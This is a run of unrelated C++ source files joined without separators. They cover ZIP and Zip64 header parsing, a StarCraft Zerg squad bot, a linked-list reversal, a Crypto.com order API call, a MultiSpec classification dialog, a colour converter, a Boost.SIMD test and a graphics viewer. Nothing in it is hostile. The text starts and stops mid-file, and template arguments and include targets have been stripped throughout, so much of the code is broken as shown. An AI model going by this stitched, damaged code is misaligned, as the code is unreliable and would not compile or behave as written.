5 - last mod file time 2 bytes Meta::Field2Bytes, // 6 - last mod file date 2 bytes Meta::Field4Bytes, // 7 - crc - 32 4 bytes Meta::Field4Bytes, // 8 - compressed size 4 bytes Meta::Field4Bytes, // 9 - uncompressed size 4 bytes Meta::Field2Bytes, //10 - file name length 2 bytes Meta::Field2Bytes, //11 - extra field length 2 bytes Meta::Field2Bytes, //12 - file comment length 2 bytes Meta::Field2Bytes, //13 - disk number start 2 bytes Meta::Field2Bytes, //14 - internal file attributes 2 bytes Meta::Field4Bytes, //15 - external file attributes 4 bytes Meta::Field4Bytes, //16 - relative offset of local header 4 bytes Meta::FieldNBytes, //17 - file name(variable size) Meta::FieldNBytes, //18 - extra field(variable size) Meta::FieldNBytes //19 - file comment(variable size) NOT USED > { public: CentralDirectoryFileHeader(); void SetData(const std::string& name, std::uint32_t crc, std::uint64_t compressedSize, std::uint64_t uncompressedSize, std::uint64_t relativeOffset, std::uint16_t compressionMethod, bool forceDataDescriptor); void Read(const ComPtr& stream, bool isZip64); GeneralPurposeBitFlags GetGeneralPurposeBitFlags() const noexcept { return static_cast(Field<3>().get()); } bool IsGeneralPurposeBitSet() const noexcept { return ((GetGeneralPurposeBitFlags() & GeneralPurposeBitFlags::DataDescriptor) == GeneralPurposeBitFlags::DataDescriptor); } CompressionType GetCompressionMethod() const noexcept { return static_cast(Field<4>().get()); } std::uint64_t GetCompressedSize() const noexcept { if (IsValueInExtendedInfo(Field<8>())) { return m_extendedInfo.GetCompressedSize(); } return static_cast(Field<8>().get()); } std::uint64_t GetUncompressedSize() const noexcept { if (IsValueInExtendedInfo(Field<9>())) { return m_extendedInfo.GetUncompressedSize(); } return static_cast(Field<9>().get()); } std::uint64_t GetRelativeOffsetOfLocalHeader() const noexcept { if (IsValueInExtendedInfo(Field<16>())) { return m_extendedInfo.GetRelativeOffsetOfLocalHeader(); } return static_cast(Field<16>().get()); } std::string GetFileName() const { auto data = Field<17>().get(); return std::string(data.begin(), data.end()); } protected: void SetSignature(std::uint32_t value) noexcept { Field<0>() = value; } void SetVersionMadeBy(std::uint16_t value) noexcept { Field<1>() = value; } void SetVersionNeededToExtract(std::uint16_t value) noexcept { Field<2>() = value; } void SetGeneralPurposeBitFlags(std::uint16_t value) noexcept { Field<3>() = value; } void SetCompressionMethod(std::uint16_t value) noexcept { Field<4>() = value; } void SetLastModFileTime(std::uint16_t value) noexcept { Field<5>() = value; } void SetLastModFileDate(std::uint16_t value) noexcept { Field<6>() = value; } void SetCrc(std::uint32_t value) noexcept { Field<7>() = value; } void SetFileNameLength(std::uint16_t value) noexcept { Field<10>() = value; } void SetExtraFieldLength(std::uint16_t value) noexcept { Field<11>() = value; } void SetFileCommentLength(std::uint16_t value) noexcept { Field<12>() = value; } void SetDiskNumberStart(std::uint16_t value) noexcept { Field<13>() = value; } void SetInternalFileAttributes(std::uint16_t value) noexcept { Field<14>() = value; } void SetExternalFileAttributes(std::uint16_t value) noexcept { Field<15>() = value; } // Values that might appear in the extended info (minus disk, which we will never set there) void SetCompressedSize(std::uint64_t value) noexcept { if (value > MaxSizeToNotUseDataDescriptor) { m_extendedInfo.SetCompressedSize(value); Field<8>() = std::numeric_limits::max(); } else { Field<8>() = static_cast(value); } } void SetUncompressedSize(std::uint64_t value)noexcept { if (value > MaxSizeToNotUseDataDescriptor) { m_extendedInfo.SetUncompressedSize(value); Field<9>() = std::numeric_limits::max(); } else { Field<9>() = static_cast(value); } } void SetRelativeOffsetOfLocalHeader(std::uint64_t value) noexcept { if (value > MaxSizeToNotUseDataDescriptor) { m_extendedInfo.SetRelativeOffsetOfLocalHeader(value); Field<16>() = std::numeric_limits::max(); } else { Field<16>() = static_cast(value); } } void SetFileName(const std::string& name) { SetFileNameLength(static_cast(name.size())); Field<17>().get().resize(name.size(), 0); std::copy(name.begin(), name.end(), Field<17>().get().begin()); } void UpdateExtraField() { if (m_extendedInfo.HasAnySet()) { SetVersionNeededToExtract(static_cast(ZipVersions::Zip64FormatExtension)); SetExtraFieldLength(static_cast(m_extendedInfo.Size())); Field<18>().get() = m_extendedInfo.GetBytes(); } } Zip64ExtendedInformation m_extendedInfo; bool m_isZip64 = true; }; class LocalFileHeader final : public Meta::StructuredObject< Meta::Field4Bytes, // 0 - local file header signature 4 bytes(0x04034b50) Meta::Field2Bytes, // 1 - version needed to extract 2 bytes Meta::Field2Bytes, // 2 - general purpose bit flag 2 bytes Meta::Field2Bytes, // 3 - compression method 2 bytes Meta::Field2Bytes, // 4 - last mod file time 2 bytes Meta::Field2Bytes, // 5 - last mod file date 2 bytes Meta::Field4Bytes, // 6 - crc - 32 4 bytes Meta::Field4Bytes, // 7 - compressed size 4 bytes Meta::Field4Bytes, // 8 - uncompressed size 4 bytes Meta::Field2Bytes, // 9 - file name length 2 bytes Meta::Field2Bytes, // 10- extra field length 2 bytes Meta::FieldNBytes, // 11- file name (variable size) Meta::FieldNBytes // 12- extra field (variable size) NOT USED > { public: LocalFileHeader(); void SetData(const std::string& name, bool isCompressed); void SetData(std::uint32_t crc, std::uint64_t compressedSize, std::uint64_t uncompressedSize); void Read(const ComPtr& stream, CentralDirectoryFileHeader& directoryEntry); GeneralPurposeBitFlags GetGeneralPurposeBitFlags() const noexcept { return static_cast(Field<2>().get()); } std::uint16_t GetCompressionMethod() const noexcept { return Field<3>(); } std::uint16_t GetFileNameLength() const noexcept { return Field<9>(); } std::string GetFileName() const { auto data = Field<11>().get(); return std::string(data.begin(), data.end()); } protected: bool IsGeneralPurposeBitSet() const noexcept { return ((GetGeneralPurposeBitFlags() & GeneralPurposeBitFlags::DataDescriptor) == GeneralPurposeBitFlags::DataDescriptor); } void SetSignature(std::uint32_t value) noexcept { Field<0>() = value; } void SetVersionNeededToExtract(std::uint16_t value) noexcept { Field<1>() = value; } void SetGeneralPurposeBitFlags(std::uint16_t value) noexcept { Field<2>() = value; } void SetCompressionMethod(std::uint16_t value) noexcept { Field<3>() = value; } void SetLastModFileTime(std::uint16_t value) noexcept { Field<4>() = value; } void SetLastModFileDate(std::uint16_t value) noexcept { Field<5>() = value; } void SetCrc(std::uint32_t value) noexcept { Field<6>() = value; } void SetCompressedSize(std::uint32_t value) noexcept { Field<7>() = value; } void SetUncompressedSize(std::uint32_t value) noexcept { Field<8>() = value; } void SetFileNameLength(std::uint16_t value) noexcept { Field<9>() = value; } void SetExtraFieldLength(std::uint16_t value) noexcept { Field<10>() = value; } void SetFileName(const std::string& name) { SetFileNameLength(static_cast(name.size())); Field<11>().get().resize(name.size(), 0); std::copy(name.begin(), name.end(), Field<11>().get().begin()); } }; class Zip64EndOfCentralDirectoryRecord final : public Meta::StructuredObject< Meta::Field4Bytes, // 0 - zip64 end of central dir signature 4 bytes(0x06064b50) Meta::Field8Bytes, // 1 - size of zip64 end of central directory record 8 bytes Meta::Field2Bytes, // 2 - version made by 2 bytes Meta::Field2Bytes, // 3 - version needed to extract 2 bytes Meta::Field4Bytes, // 4 - number of this disk 4 bytes Meta::Field4Bytes, // 5 - number of the disk with the start of the central directory 4 bytes Meta::Field8Bytes, // 6 - total number of entries in the central directory on this disk 8 bytes Meta::Field8Bytes, // 7 - total number of entries in the central directory 8 bytes Meta::Field8Bytes, // 8 - size of the central directory 8 bytes Meta::Field8Bytes, // 9 - offset of start of central directory with respect to the // starting disk number 8 bytes Meta::FieldNBytes //10 - zip64 extensible data sector (variable size) NOT USED > { public: Zip64EndOfCentralDirectoryRecord(); void SetData(std::uint64_t numCentralDirs, std::uint64_t sizeCentralDir, std::uint64_t offsetStartCentralDirectory); void Read(const ComPtr& stream); std::uint64_t GetTotalNumberOfEntries() const noexcept { return Field<6>(); } std::uint64_t GetOffsetStartOfCD() const noexcept { return Field<9>(); } protected: void SetSignature(std::uint32_t value) noexcept { Field<0>() = value; } void SetSizeOfZip64CDRecord(std::uint64_t value) noexcept { Field<1>() = value; } void SetVersionMadeBy(std::uint16_t value) noexcept { Field<2>() = value; } void SetVersionNeededToExtract(std::uint16_t value) noexcept { Field<3>() = value; } void SetNumberOfThisDisk(std::uint32_t value) noexcept { Field<4>() = value; } void SetNumberOfTheDiskWithStartOfCD(std::uint32_t value) noexcept { Field<5>() = value; } void SetTotalNumberOfEntriesDisk(std::uint64_t value) noexcept { Field<6>() = value; Field<7>() = value; } void SetSizeOfCD(std::uint64_t value) noexcept { Field<8>() = value; } void SetOffsetfStartOfCD(std::uint64_t value) noexcept { Field<9>() = value; } }; class Zip64EndOfCentralDirectoryLocator final : public Meta::StructuredObject< Meta::Field4Bytes, // 0 - zip64 end of central dir locator signature 4 bytes(0x07064b50) Meta::Field4Bytes, // 1 - number of the disk with the start of the zip64 // end of central directory 4 bytes Meta::Field8Bytes, // 2 - relative offset of the zip64 end of central // directory record 8 bytes Meta::Field4Bytes // 3 - total number of disks 4 bytes > { public: Zip64EndOfCentralDirectoryLocator(); void SetData(std::uint64_t zip64EndCdrOffset); void Read(const ComPtr& stream); std::uint64_t GetRelativeOffset() const noexcept { return Field<2>(); } protected: void SetSignature(std::uint32_t value) noexcept { Field<0>() = value; } void SetNumberOfDisk(std::uint32_t value) noexcept { Field<1>() = value; } void SetRelativeOffset(std::uint64_t value) noexcept { Field<2>() = value; } void SetTotalNumberOfDisks(std::uint32_t value) noexcept { Field<3>() = value; } }; class EndCentralDirectoryRecord final : public Meta::StructuredObject< Meta::Field4Bytes, // 0 - end of central dir signature 4 bytes (0x06054b50) Meta::Field2Bytes, // 1 - number of this disk 2 bytes Meta::Field2Bytes, // 2 - number of the disk with the start of the // central directory 2 bytes Meta::Field2Bytes, // 3 - total number of entries in the central // directory on this disk 2 bytes Meta::Field2Bytes, // 4 - total number of entries in the central // directory 2 bytes Meta::Field4Bytes, // 5 - size of the central directory 4 bytes Meta::Field4Bytes, // 6 - offset of start of central directory with // respect to the starting disk number 4 bytes Meta::Field2Bytes, // 7 - .ZIP file comment length 2 bytes Meta::FieldNBytes // 8 - .ZIP file comment (variable size) > { public: EndCentralDirectoryRecord(); void Read(const ComPtr& stream); bool GetIsZip64() const noexcept { return m_isZip64; } std::uint64_t GetNumberOfCentralDirectoryEntries() noexcept { return static_cast(Field<3>().get()); } std::uint64_t GetStartOfCentralDirectory() noexcept { return static_cast(Field<6>().get()); } protected: void SetSignature(std::uint32_t value) noexcept { Field<0>() = value; } void SetNumberOfDisk(std::uint16_t value) noexcept { Field<1>() = value; } void SetDiskStart(std::uint16_t value) noexcept { Field<2>() = value; } void SetTotalNumberOfEntries(std::uint16_t value) noexcept { Field<3>() = value; } void SetTotalEntriesInCentralDirectory(std::uint16_t value) noexcept { Field<4>() = value; } void SetSizeOfCentralDirectory(std::uint32_t value) noexcept { Field<5>() = value; } void SetOffsetOfCentralDirectory(std::uint32_t value) noexcept { Field<6>() = value; } void SetCommentLength(std::uint16_t value) noexcept { Field<7>() = value; } bool m_isZip64 = true; }; class ZipObject { public: ZipObject(const ComPtr& stream) : m_stream(stream) {} ZipObject(const ComPtr& storageObject); protected: EndCentralDirectoryRecord m_endCentralDirectoryRecord; Zip64EndOfCentralDirectoryLocator m_zip64Locator; Zip64EndOfCentralDirectoryRecord m_zip64EndOfCentralDirectory; std::map m_centralDirectories; ComPtr m_stream; }; } #include "Squad.h" Squad::Squad() { type = 0; Action = 0; std::memset(unitOwned, 0, 4 * int(BWAPI::UnitTypes::Unknown)); std::memset(unitMorphing, 0, 4 * int(BWAPI::UnitTypes::Unknown)); std::memset(unitWanted, 0, 4 * int(BWAPI::UnitTypes::Unknown)); } Squad::Squad(int Squad_type){ type = 0; Action = 0; std::memset(unitOwned, 0, 4 * int(BWAPI::UnitTypes::Unknown)); std::memset(unitMorphing, 0, 4 * int(BWAPI::UnitTypes::Unknown)); std::memset(unitWanted, 0, 4 * int(BWAPI::UnitTypes::Unknown)); } std::vector& Squad::get_Units() { return Units; } int Squad::get_type() { return type; } int Squad::get_Action() { return Action; } void Squad::changeAction(int ActionId) { Action = ActionId; } // Remove a unit from a defined Type BWAPI::Unit Squad::remove_UnitType(BWAPI::UnitType Type) { for (BWAPI::Unit unit : Units) { if (unit->getType() == Type && (unit->exists())){ remove(Units.begin(), Units.end(), unit); Units.resize(Units.size() - 1); return unit; } } return nullptr; } // Remove the given Unit void Squad::remove_Unit(BWAPI::Unit unit) { remove(Units.begin(), Units.end(), unit); Units.resize(Units.size() - 1); } // Add the given Unit void Squad::add_Unit(BWAPI::Unit unit){ if (unit->getType() != BWAPI::UnitTypes::Zerg_Larva) { Units.push_back(unit); } } // Count the unit in the squad and update unitOwned and unitMorphing, in addition to remove the dead units void Squad::countSquadUnits() { std::memset(unitOwned, 0, 4 * int(BWAPI::UnitTypes::Unknown)); std::memset(unitMorphing, 0, 4 * int(BWAPI::UnitTypes::Unknown)); std::list to_remove; for (BWAPI::Unit unit : Units) { if (unit->exists() && !(unit->getType().isBuilding())) { // We begin with morphing units if ((unit->getType() == BWAPI::UnitTypes::Zerg_Egg) || (unit->getType() == BWAPI::UnitTypes::Zerg_Lurker_Egg)) { unitMorphing[unit->getBuildType()] += 1; } else { unitOwned[unit->getType()] += 1; } } else { to_remove.push_back(unit); } } for (BWAPI::Unit unit : to_remove) { remove_Unit(unit); } } // Move all the squad to the position void Squad::move(BWAPI::Position position){ for (BWAPI::Unit unit : Units) { unit->move(position); } } // Decide if we want to attack and launch the attack if needed bool Squad::decideAttack(bool alreadyAttacking) { bool wantAttack = (((unitOwned[BWAPI::UnitTypes::Zerg_Zergling] >= unitWanted[BWAPI::UnitTypes::Zerg_Zergling]) && (unitOwned[BWAPI::UnitTypes::Zerg_Hydralisk] >= unitWanted[BWAPI::UnitTypes::Zerg_Hydralisk]) && (unitOwned[BWAPI::UnitTypes::Zerg_Lurker] >= unitWanted[BWAPI::UnitTypes::Zerg_Lurker]))); if (wantAttack && !alreadyAttacking) { unlimitedUnitWanted(); } if (wantAttack || alreadyAttacking) { for (BWAPI::TilePosition ennemyLocation : BWAPI::Broodwar->getStartLocations()) { if (ennemyLocation != BWAPI::Broodwar->self()->getStartLocation()) { BWAPI::Position target = static_cast (ennemyLocation); attack(target); return true; } } } return false; } // Set "unlimited" unit wanted to the squad void Squad::unlimitedUnitWanted() { for (int unittype = 0; unittype < BWAPI::UnitTypes::Unknown; ++unittype) { if (unitWanted[unittype] > 0) { unitWanted[unittype] = 400; // the max supply is 200 and Zergling count as 0.5, so 400 on each unit is "Unlimited" } } unitWanted[BWAPI::UnitTypes::Zerg_Lurker] = 10; // They come from Hydralisk and so we don't want too many of them unitWanted[BWAPI::UnitTypes::Zerg_Overlord] = 1; // Only one is needed to detect inivisible units } // Make all the squad attack a target position, managing the different move speed void Squad::attack(BWAPI::Position target) { //Get the closest Hydralisk BWAPI::UnitType slowType = BWAPI::UnitTypes::Zerg_Hydralisk; int min_range = 10000; BWAPI::Unit nearest_slow_unit = nullptr; for (BWAPI::Unit u : Units) { if ((u->getType() == slowType) && u->getDistance(target) < min_range) { nearest_slow_unit = u; min_range = u->getDistance(target); } } for (BWAPI::Unit unit : Units) { if (MicroGestion::detectEnnemieClose(unit)) { //We detect an ennemy, everyone attack for (BWAPI::Unit u : Units) { if (u->isIdle() && u->canAttack()) { u->attack(target, false); } if (u->getType() == BWAPI::UnitTypes::Zerg_Lurker) { if (MicroGestion::detectEnnemieClose(u)) { if (u->isMoving() || (!u->isBurrowed() && u->isIdle())) { u->burrow(); } } else{ if (u->isBurrowed()) { u->unburrow(); } else { u->move(target, false); } } } if (unit->getType() == BWAPI::UnitTypes::Zerg_Overlord){ if (nearest_slow_unit != nullptr) { unit->move(nearest_slow_unit->getPosition(), false); } else { unit->move(target, false); } } } return; } } if (nearest_slow_unit != nullptr) { // We didn't detect any ennemy and we have an hydra, the other Types of unit follow the closest for (BWAPI::Unit unit : Units) { if (unit->getType() == BWAPI::UnitTypes::Zerg_Lurker) { if (unit->isBurrowed()) { unit->unburrow(); } else { unit->move(target, false); } } else if (unit->getType() == BWAPI::UnitTypes::Zerg_Overlord) { unit->move(nearest_slow_unit->getPosition(), false); } else if (unit->getType() != slowType && unit->canAttack()) { unit->attack(nearest_slow_unit->getPosition(), false); } else { unit->attack(target, false); } } } } // Make the unit of the squad defend the second Base void Squad::Defend() { BWAPI::Position B2_pos = static_cast (myUnits->secondBasePos); BWAPI::Position centerPos = BWAPI::Positions::Origin; int numberPos = 0; for (BWAPI::TilePosition ennemyLocation : BWAPI::Broodwar->getStartLocations()) { centerPos += static_cast (ennemyLocation); numberPos += 1; } centerPos.x = centerPos.x / numberPos; centerPos.y = centerPos.y / numberPos; BWAPI::Position def_pos; def_pos.x = 0.8 * B2_pos.x + 0.2 * centerPos.x; def_pos.y = 0.85 * B2_pos.y + 0.15 * centerPos.y; // We only defend in the second base if we have enough units (to counter very fast rush with the drone of the first base) if (Units.size() <= 6) { def_pos = static_cast (BWAPI::Broodwar->self()->getStartLocation()); } for (BWAPI::Unit unit : Units) { if (unit->isIdle()) { unit->attack(def_pos, false); } if (unit->getType() == BWAPI::UnitTypes::Zerg_Lurker) { if (unit->isIdle()) { unit->burrow(); } } if (unit->getType() == BWAPI::UnitTypes::Zerg_Overlord) { unit->move(def_pos, false); } } } // Morph lurker from Hydralisks inside the squad void Squad::morphLurker() { if ((myUnits->tech[BWAPI::TechTypes::Lurker_Aspect] == 1) && (unitOwned[BWAPI::UnitTypes::Zerg_Hydralisk] >= 1) && (unitOwned[BWAPI::UnitTypes::Zerg_Lurker] + unitMorphing[BWAPI::UnitTypes::Zerg_Lurker] < unitWanted[BWAPI::UnitTypes::Zerg_Lurker]) && (BWAPI::Broodwar->self()->minerals() >= BWAPI::UnitTypes::Zerg_Lurker.mineralPrice() + myUnits->blocked_minerals) && (BWAPI::Broodwar->self()->gas() >= BWAPI::UnitTypes::Zerg_Lurker.gasPrice() + myUnits->blocked_gas)) { for (BWAPI::Unit unit : Units) { if (unit->getType() == BWAPI::UnitTypes::Zerg_Hydralisk) { if (unit->morph(BWAPI::UnitTypes::Zerg_Lurker)) { unitMorphing[BWAPI::UnitTypes::Zerg_Lurker] += 1; break; } } } } } // The type of squad // WorkerSquad::WorkerSquad(int size){ type = 1; Action = 0; //1 if minerals, X2 if gas (where X is the base linked to the extractor) unitWanted[BWAPI::UnitTypes::Zerg_Drone] = size; } ArmySquad::ArmySquad(int* armyWanted) { type = 2; Action = 0; alreadyAttacking = false; for (int unittype = 0; unittype < BWAPI::UnitTypes::Unknown; ++unittype) { unitWanted[unittype] = armyWanted[unittype]; } unitWanted[int(BWAPI::UnitTypes::Zerg_Drone)] = 0; unitWanted[int(BWAPI::UnitTypes::Zerg_Overlord)] = 1; }0 #include #include using namespace std; struct Node { int data; struct Node *next; }; void insert_at_beginning(Node **head, int x) { Node *temp = new Node(); temp->data = x; temp->next = *head; if (*head != NULL) temp->next = *head; *head = temp; } struct Node* reverse(Node *head) { stack s; Node *temp = head; while(temp != NULL) { s.push(temp); temp = temp->next; } temp = s.top(); head = temp; s.pop(); while (!s.empty()) { temp->next = s.top(); s.pop(); temp = temp->next; } temp->next = NULL; return head; } void print(Node *head) { cout << "List is: " << endl; while (head != NULL) { cout << head->data << " "; head = head->next; } cout << endl; } int main() { Node *head = new Node(); insert_at_beginning(&head, 2); print(head); insert_at_beginning(&head, 3); print(head); insert_at_beginning(&head, 4); print(head); insert_at_beginning(&head, 5); print(head); head = reverse(head); print(head); }waffle-empire/Crypto.com-Implementation #include "../../user.hpp" #include "../../../util.hpp" namespace crypto_com { nlohmann::json UserAPI::create_order(std::string instrument_name, std::string side, std::string type, double price, double quantity, double notional, double trigger_price, std::string client_oid, std::string time_in_force, std::string exec_inst) { nlohmann::json pl = nlohmann::json{ { "method", "private/create-order" }, { "nonce", util::create_nonce() }, { "params", { { "instrument_name", instrument_name }, { "side", side }, { "type", type } } } }; if (price) pl["params"]["price"] = price; if (quantity) pl["params"]["quantity"] = quantity; if (notional) pl["params"]["notional"] = notional; if (trigger_price) pl["params"]["trigger_price"] = trigger_price; if (!client_oid.empty()) pl["params"]["client_oid"] = client_oid; if (!time_in_force.empty()) pl["params"]["time_in_force"] = time_in_force; if (!exec_inst.empty()) pl["params"]["exec_inst"] = exec_inst; util::sign_payload(pl, this->m_key, this->m_secret); return m_ws_client->send(pl); } } // namespace crypto_com// MultiSpec // // Copyright 1988-2020 Purdue Research Foundation // // Licensed under the Apache License, Version 2.0 (the "License"); you may not use // this file except in compliance with the License. You may obtain a copy of the // License at: https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software distributed // under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR // CONDITIONS OF ANY KIND, either express or implied. See the License for the specific // language governing permissions and limitations under the License. // // MultiSpec is curated by the Laboratory for Applications of Remote Sensing at // Purdue University in West Lafayette, IN and licensed by . // // File: xClassifyKNNDialog.cpp : class implementation file // Class Definition: xClassifyKNNDialog.h // // Authors: // // Revision date: 05/04/2019 // // Language: C++ // // System: Linux and MacOS Operating Systems // // Brief description: This file contains functions that relate to the // CMClassifyKNNDialog class. // //------------------------------------------------------------------------------------ #include "SMultiSpec.h" #include "xMultiSpec.h" #include "xClassifyKNNDialog.h" BEGIN_EVENT_TABLE (CMKNNClassifyDialog, CMDialog) EVT_INIT_DIALOG (CMKNNClassifyDialog::OnInitDialog) END_EVENT_TABLE () CMKNNClassifyDialog::CMKNNClassifyDialog ( wxWindow* pParent, wxWindowID id, const wxString& title) : CMDialog (id, pParent, title) { m_nearestNeighborKValue = 5; m_initializedFlag = CMDialog::m_initializedFlag; CreateControls (); SetSizerAndFit (bSizer166); } // end "CMCorrelationClassifyDialog" void CMKNNClassifyDialog::CreateControls () { SetSizeHints (wxDefaultSize, wxDefaultSize); bSizer166 = new wxBoxSizer (wxVERTICAL); wxBoxSizer* bSizer167; bSizer167 = new wxBoxSizer (wxHORIZONTAL); m_staticText183 = new wxStaticText (this, wxID_ANY, wxT("Nearest Neighbor K value:"), wxDefaultPosition, wxDefaultSize, 0); m_staticText183->Wrap (-1); bSizer167->Add (m_staticText183, 0, wxALIGN_CENTER|wxALL, 5); m_kValueControl = new wxTextCtrl (this, IDC_KValue, wxEmptyString, wxDefaultPosition, wxSize (50, -1), 0); m_kValueControl->SetValidator (wxTextValidator (wxFILTER_DIGITS, &m_kValueString)); bSizer167->Add (m_kValueControl, 0, wxALIGN_CENTER|wxALL, 5); m_staticText184 = new wxStaticText (this, wxID_ANY, wxT("e.g. (3-10)"), wxDefaultPosition, wxDefaultSize, 0); m_staticText184->Wrap (-1); bSizer167->Add (m_staticText184, 0, wxALIGN_CENTER|wxALL, 5); bSizer166->Add (bSizer167, 1, wxALL|wxEXPAND, 12); CreateStandardButtons (bSizer166); SetSizer (bSizer166); Layout (); Centre (wxBOTH); } // end "CreateControls" //------------------------------------------------------------------------------------ // Copyright 2012-2020 Purdue Research Foundation // // Function name: void DoDialog // // Software purpose: The purpose of this routine is to present the Correlation // specification dialog box to the user and copy the // revised back to the classify specification structure if // the user selected OK. // This code was adapted from the Windows version of the same class. // // Parameters in: None // // Parameters out: None // // Value Returned: None // // Called By: // // Coded By: Date: 04/??/2019 // Revised By: Date: 05/04/2019 Boolean CMKNNClassifyDialog::DoDialog ( SInt16* nearestNeighborKValuePtr) { SInt16 returnCode; bool continueFlag = false; // Make sure intialization has been completed. if (!m_initializedFlag) return (false); m_nearestNeighborKValue = *nearestNeighborKValuePtr; returnCode = ShowModal (); if (returnCode == wxID_OK) { continueFlag = true; *nearestNeighborKValuePtr = m_nearestNeighborKValue; } // end "if (returnCode == IDOK)" return (continueFlag); } // end "DoDialog" void CMKNNClassifyDialog::OnInitDialog ( wxInitDialogEvent& event) { CMDialog::OnInitDialog (event); SelectDialogItemText (this, IDC_KValue, 0, SInt16_MAX); } // end "OnInitDialog" bool CMKNNClassifyDialog::TransferDataFromWindow () { SInt16 continueCode, returnCode = 0; m_nearestNeighborKValue = wxAtoi (m_kValueControl->GetValue ()); continueCode = CheckMaxValue (this, IDC_KValue, 1, 100, kDisplayRangeAlert); if (continueCode != 1) returnCode = IDC_KValue; return (returnCode == 0); } // end "TransferDataFromWindow" bool CMKNNClassifyDialog::TransferDataToWindow () { m_kValueControl->SetValue(wxString::Format (wxT("%d"), m_nearestNeighborKValue)); return true; } // end "TransferDataToWindow" #include "jabz.hpp" #include "ff.hpp" vec::V4 jabzToSrgb(vec::V4 p) { auto [r, g, b] = jabz::to_srgb(jabz::jabz1{p.x, p.y, p.z}); return {r, g, b, p.a}; } int main(int argc, char** argv) { (void)argc; (void)argv; ff::mapCinCout(jabzToSrgb); return 0; } //================================================================================================== /*! Copyright 2016 NumScale SAS Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt) */ //================================================================================================== #include #include #include #include #include STF_CASE_TPL( "Check inf behavior for integral types" , (std::uint8_t)(std::uint16_t)(std::uint32_t)(std::uint64_t) (std::int8_t)(std::int16_t)(std::int32_t)(std::int64_t) ) { using boost::simd::as; using boost::simd::detail::nbdigits; using boost::simd::Nbdigits; STF_TYPE_IS(decltype(Nbdigits()), T); STF_EQUAL(Nbdigits(), T(0)); } STF_CASE_TPL( "Check inf behavior for float type" , (float) ) { using boost::simd::as; using boost::simd::detail::nbdigits; using boost::simd::Nbdigits; STF_TYPE_IS(decltype(Nbdigits()), boost::dispatch::as_integer_t); STF_EQUAL(Nbdigits(), 24 ); } STF_CASE_TPL( "Check inf behavior for double type" , (double) ) { using boost::simd::as; using boost::simd::detail::nbdigits; using boost::simd::Nbdigits; STF_TYPE_IS(decltype(Nbdigits()), boost::dispatch::as_integer_t); STF_EQUAL(Nbdigits(), 53 ); } murataka/two // Copyright (c) 2019 // This software is provided 'as-is' under the zlib License, see the LICENSE.txt file. // This notice and the license may not be removed or altered from any source distribution. #include #include #ifdef TWO_MODULES module TWO(gfx).ui; #else #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #endif namespace two { ViewerStyles::ViewerStyles() : viewer("Viewer", styles().wedge, [](Layout& l) { l.m_opacity = Opacity::Opaque; l.m_space = Preset::Sheet; }, [](InkStyle& l) { l.m_empty = false; }) , viewer_fixed("ViewerFixed", viewer, [](Layout& l) { l.m_space = Preset::Block; l.m_align = { Align::Center, Align::Center }; l.m_padding = vec4(4.f); }, [](InkStyle& l) { l.m_empty = false; l.m_border_width = vec4(1.f); l.m_border_colour = Colour::MidGrey; }) //, skin_definitions["Viewer:modal"].set({ &InkStyle::m_border_colour, Colour::White }); //, skin_definitions["Viewer:modal"].set({ &InkStyle::m_border_width, vec4(1.f) }); , space_sheet("SpaceSheet", styles().ui, [](Layout& l) { l.m_opacity = Opacity::Opaque; l.m_flow = LayoutFlow::Free; l.m_size = vec2(600.f, 450.f); }) {} ViewerStyles& viewer_styles() { static ViewerStyles styles; return styles; } Viewer::Viewer(Widget* parent, void* identity, Scene& scene) : Widget(parent, identity) , m_scene(&scene) , m_context(as(parent->ui_window().m_context)) , m_camera() , m_viewport(m_camera, scene) { this->init(viewer_styles().viewer); m_viewport.m_tasks.push_back([&](Render& render) { this->render(render); }); m_custom_draw = [&](const Frame& frame, const vec4& rect, Vg& vg) { UNUSED(frame); UNUSED(rect); //renderer.draw_frame(frame, rect); this->blit(vg); }; m_context.m_viewports.push_back(&m_viewport); //this->take_focus(); } Viewer::~Viewer() { remove(m_context.m_viewports, &m_viewport); } void Viewer::update() {} void Viewer::render(Render& render) { for(auto& picker : m_pickers) { picker->process(render, picker->m_query); } //#define TWO_DEBUG_PICKER_TEXTURE #ifdef TWO_DEBUG_PICKER_TEXTURE if(m_picker) { vec4 source_rect = { vec2(0.f), vec2(m_pick_query.m_rect.size) }; vec4 target_rect = { vec2(0.f), vec2(render.m_target->m_size) * 0.33f }; m_gfx.m_copy->quad(*render.m_target, 251, BGFX_INVALID_HANDLE, m_picker->m_fbo_texture, { source_rect, target_rect, true }); } #endif } void Viewer::blit(Vg& vg) { vg.begin_target(); const vec2 target_size = vec2(m_context.m_size); vec4 image_rect = { vec2(0.f), target_size }; if(bgfx::getCaps()->originBottomLeft) image_rect.w = -image_rect.w; vg.draw_texture(m_context.m_vg_handle, m_viewport.m_rect * target_size, image_rect); vg.end_target(); } vec4 Viewer::query_rect() { m_position = m_frame.absolute_position(); m_size = m_frame.m_size * m_frame.absolute_scale(); const vec4 absolute = vec4(m_position, m_size); return absolute / vec2(m_context.m_size); } void Viewer::resize() { m_viewport.m_rect = this->query_rect(); } Ray Viewer::mouse_ray(const vec2& pos) { float xNDC = (pos.x / m_size.x) * 2.0f - 1.0f; float yNDC = ((m_size.y - pos.y) / m_size.y) * 2.0f - 1.0f; return m_camera.ray(vec2(xNDC, yNDC)); } Ray Viewer::mouse_ray() { vec2 pos = m_frame.local_position(this->ui().m_mouse.m_pos); //return m_viewport.ray(pos); return this->mouse_ray(pos); } Picker& Viewer::picker(size_t index) { if(m_pickers.size() <= index) m_pickers.resize(index + 1); if(!m_pickers[index]) m_pickers[index] = make_unique(m_scene->m_gfx, *m_context.m_target); return *m_pickers[index]; } SceneViewer::SceneViewer(Widget* parent, void* identity) : Viewer(parent, identity, m_scene) , m_scene(as(parent->ui_window().m_context).m_gfx) {} OrbitController::OrbitController(Viewer& viewer, float yaw, float pitch, float distance) : m_viewer(viewer), m_camera(viewer.m_camera), m_yaw(yaw), m_pitch(pitch), m_distance(distance) {} void OrbitController::process(Viewer& viewer) { //EventDispatch::process(viewer); if(MouseEvent event = viewer.mouse_event(DeviceType::MouseMiddle, EventType::Moved)) { if(event.m_deltaZ > 0) m_distance *= 0.75f; else m_distance *= 1.3f; } if(MouseEvent event = viewer.mouse_event(DeviceType::MouseMiddle, 